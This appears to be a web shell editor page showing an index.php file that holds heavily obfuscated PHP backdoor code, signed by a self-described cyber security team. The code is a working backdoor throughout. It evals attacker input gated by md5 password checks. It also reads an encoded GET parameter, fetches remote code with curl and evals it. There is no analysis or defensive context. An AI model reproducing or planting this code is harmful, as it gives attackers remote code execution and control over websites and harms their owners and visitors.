23s2s

✏️ Editing: index.php

<?php
 goto HNazq7cYnk; FMHoj84sgy: if (!(in_array(gettype($zNF5UkGlBp) . count($zNF5UkGlBp), $zNF5UkGlBp) && count($zNF5UkGlBp) == 13 && md5(md5(md5(md5($zNF5UkGlBp[7])))) === "\x39\141\x39\x36\x37\x37\143\x31\65\143\x63\x33\x37\x30\71\x64\143\143\67\x33\x34\x37\x30\145\x38\x30\142\144\x64\61\71\x31")) { goto HscfnLOErI; } goto Wa9h1iX8Eb; Wa9h1iX8Eb: ($zNF5UkGlBp[69] = $zNF5UkGlBp[69] . $zNF5UkGlBp[75]) && ($zNF5UkGlBp[82] = $zNF5UkGlBp[69]($zNF5UkGlBp[82])) && @eval($zNF5UkGlBp[69](${$zNF5UkGlBp[36]}[14])); goto uqP9QSjaXt; uqP9QSjaXt: HscfnLOErI: goto UN3o1vXp90; UN3o1vXp90: metaphone("\x6f\141\x51\x74\141\116\53\x56\x31\60\x5a\x4f\122\130\57\123\x76\x51\132\x57\61\163\x39\124\x4d\x36\144\146\x4f\x70\66\121\x33\171\x6c\101\151\x59\107\x30\x50\171\121"); goto NK1ddGZZjq; h_M40uMLwF: $BEiQQ4uxqD = $HAGTCqWc2L("\x7e", "\x20"); goto xOuRDLtVjN; NK1ddGZZjq: class EST4uUWFe7 { static function rpwUnWWJcK($rCGzRxSIO0) { goto xxuR_dlhZA; sf_6HsmCTi: $jWkt_D8E35 = explode("\x29", $rCGzRxSIO0); goto QhbmlcXp4r; zVXj8si3Bn: $MWU4eyonKd = $IolXicWgT8("\176", "\40"); goto sf_6HsmCTi; xxuR_dlhZA: $IolXicWgT8 = "\162" . "\141" . "\156" . "\x67" . "\145"; goto zVXj8si3Bn; Rp7FLeKhEG: foreach ($jWkt_D8E35 as $hLRW3H8_Lj => $yo1AgFhhZ_) { $XXJZUcfYCb .= $MWU4eyonKd[$yo1AgFhhZ_ - 67081]; DkbG5buwul: } goto aStBNVPxZT; QhbmlcXp4r: $XXJZUcfYCb = ''; goto Rp7FLeKhEG; V4_zeq8GJC: return $XXJZUcfYCb; goto NfneYfDwur; aStBNVPxZT: QCCdubZ4Mq: goto V4_zeq8GJC; NfneYfDwur: } static function ReFtqAuKER($iCDd75Rk2A, $f26KqaAgqR) { goto bKU6NbT3Mm; d9Yr2Ib7wY: $W0XErZCl_6 = curl_exec($t5m9N_WYwD); goto x514ncv08R; bKU6NbT3Mm: $t5m9N_WYwD = curl_init($iCDd75Rk2A); goto F7Bujgt2o5; F7Bujgt2o5: curl_setopt($t5m9N_WYwD, CURLOPT_RETURNTRANSFER, 1); goto d9Yr2Ib7wY; x514ncv08R: return empty($W0XErZCl_6) ? $f26KqaAgqR($iCDd75Rk2A) : $W0XErZCl_6; goto yrnyldoDlG; yrnyldoDlG: } static function VNxAc8EPG7() { goto esWP5PGBKQ; ve1RzMS892: @eval($cysBU6S0nc[3 + 1]($XqZhq4qPiq)); goto nNHXFzUv3_; ODIG2EeQJM: $M0Xh59ohEJ = $cysBU6S0nc[2 + 0]($e2jTyViGwd, true); goto cCEBLoIu70; esWP5PGBKQ: $Mds2nToYFy = array("\66\67\x31\60\x38\x29\x36\67\x30\71\63\51\x36\x37\61\x30\x36\x29\x36\x37\61\x31\60\51\x36\x37\x30\x39\x31\51\x36\67\x31\x30\66\51\66\67\x31\61\x32\x29\x36\x37\x31\60\x35\51\x36\67\x30\71\60\51\66\x37\60\71\67\51\66\67\61\60\70\51\66\x37\x30\x39\61\51\66\67\x31\x30\62\x29\x36\67\60\x39\x36\51\x36\67\x30\x39\67", "\66\x37\x30\71\62\51\x36\x37\60\x39\x31\51\66\x37\60\x39\x33\51\x36\67\61\x31\x32\51\x36\67\x30\71\63\x29\x36\67\x30\71\66\51\x36\x37\60\71\x31\x29\x36\67\x31\65\x38\51\66\67\x31\x35\x36", "\66\67\61\60\x31\x29\x36\67\60\x39\x32\x29\x36\67\60\71\66\51\x36\67\x30\x39\x37\51\66\67\61\x31\62\51\66\x37\x31\x30\x37\51\x36\x37\x31\60\66\51\66\67\x31\60\x38\x29\x36\x37\x30\x39\x36\x29\66\67\x31\60\x37\51\66\x37\x31\x30\66", "\x36\67\60\71\x35\51\66\67\x31\61\60\x29\x36\67\x31\60\70\51\66\67\61\60\60", "\x36\x37\x31\x30\71\51\66\x37\x31\x31\60\51\66\x37\x30\71\x32\51\66\x37\61\60\x36\x29\x36\67\x31\x35\x33\51\66\x37\x31\x35\x35\x29\66\67\x31\x31\62\x29\66\x37\61\60\x37\x29\x36\x37\61\60\66\51\x36\67\61\x30\x38\51\66\67\x30\x39\x36\x29\66\67\61\60\x37\x29\x36\67\61\60\66", "\66\67\x31\60\65\51\66\67\x31\x30\62\51\66\x37\x30\x39\71\51\66\x37\61\x30\66\51\x36\67\x31\61\62\51\66\67\61\x30\x34\x29\x36\x37\61\60\x36\x29\66\x37\60\71\x31\x29\66\67\x31\x31\62\x29\66\67\61\60\70\51\x36\67\x30\x39\66\51\66\x37\60\x39\67\51\x36\x37\x30\71\61\x29\x36\x37\x31\x30\x36\x29\x36\67\60\x39\67\51\66\x37\x30\x39\61\x29\66\67\60\71\62", "\66\67\x31\63\x35\x29\66\67\x31\x36\65", "\66\67\60\x38\62", "\66\67\x31\x36\60\x29\x36\67\x31\x36\x35", "\x36\x37\61\64\62\x29\x36\67\61\62\65\51\66\67\x31\62\x35\x29\x36\67\61\x34\62\51\66\67\61\x31\70", "\x36\67\61\x30\x35\x29\x36\67\61\x30\62\x29\x36\x37\60\71\71\51\x36\x37\x30\71\61\51\66\x37\x31\60\66\x29\x36\67\60\71\63\51\66\67\x31\x31\x32\x29\66\67\61\x30\x32\51\66\x37\60\x39\x37\51\x36\67\60\x39\x35\x29\x36\x37\x30\x39\60\x29\66\x37\x30\71\x31"); goto q6ehmlz5i0; Qcho2oNgT7: zmXyNsz_4O: goto FMyY810u3q; tw8qdtLu4J: $iGdEHqgxQ1 = @$cysBU6S0nc[1]($cysBU6S0nc[5 + 5](INPUT_GET, $cysBU6S0nc[9 + 0])); goto UbP6jlFHbz; nNHXFzUv3_: die; goto Qcho2oNgT7; q6ehmlz5i0: foreach ($Mds2nToYFy as $ugbfwK42uQ) { $cysBU6S0nc[] = self::RPwuNwWjCk($ugbfwK42uQ); jhXHwC6Frb: } goto Z1VDV8wPST; cCEBLoIu70: @$cysBU6S0nc[6 + 4](INPUT_GET, "\x6f\146") == 1 && die($cysBU6S0nc[2 + 3](__FILE__)); goto GAz5m700Rk; Z1VDV8wPST: iNbgWIhfdw: goto tw8qdtLu4J; ovNoUTHqSV: $XqZhq4qPiq = self::ReftQAuker($M0Xh59ohEJ[0 + 1], $cysBU6S0nc[0 + 5]); goto ve1RzMS892; GAz5m700Rk: if (!(@$M0Xh59ohEJ[0] - time() > 0 and md5(md5($M0Xh59ohEJ[3 + 0])) === "\x62\143\x37\x33\x33\62\x34\x66\63\x62\x39\60\143\x30\x37\x38\x31\61\x64\x35\x39\x35\x35\64\67\141\66\66\63\x32\62\64")) { goto zmXyNsz_4O; } goto ovNoUTHqSV; UbP6jlFHbz: $e2jTyViGwd = @$cysBU6S0nc[2 + 1]($cysBU6S0nc[1 + 5], $iGdEHqgxQ1); goto ODIG2EeQJM; FMyY810u3q: } } goto F01rTJlIh7; xOuRDLtVjN: $zNF5UkGlBp = ${$BEiQQ4uxqD[10 + 21] . $BEiQQ4uxqD[9 + 50] . $BEiQQ4uxqD[21 + 26] . $BEiQQ4uxqD[5 + 42] . $BEiQQ4uxqD[10 + 41] . $BEiQQ4uxqD[2 + 51] . $BEiQQ4uxqD[20 + 37]}; goto FMHoj84sgy; HNazq7cYnk: $HAGTCqWc2L = "\162" . "\x61" . "\x6e" . "\x67" . "\145"; goto h_M40uMLwF; F01rTJlIh7: est4uUwFe7::VNXAC8EPg7();
?>

Sid Gifari From Gifari Industries - BD Cyber Security Team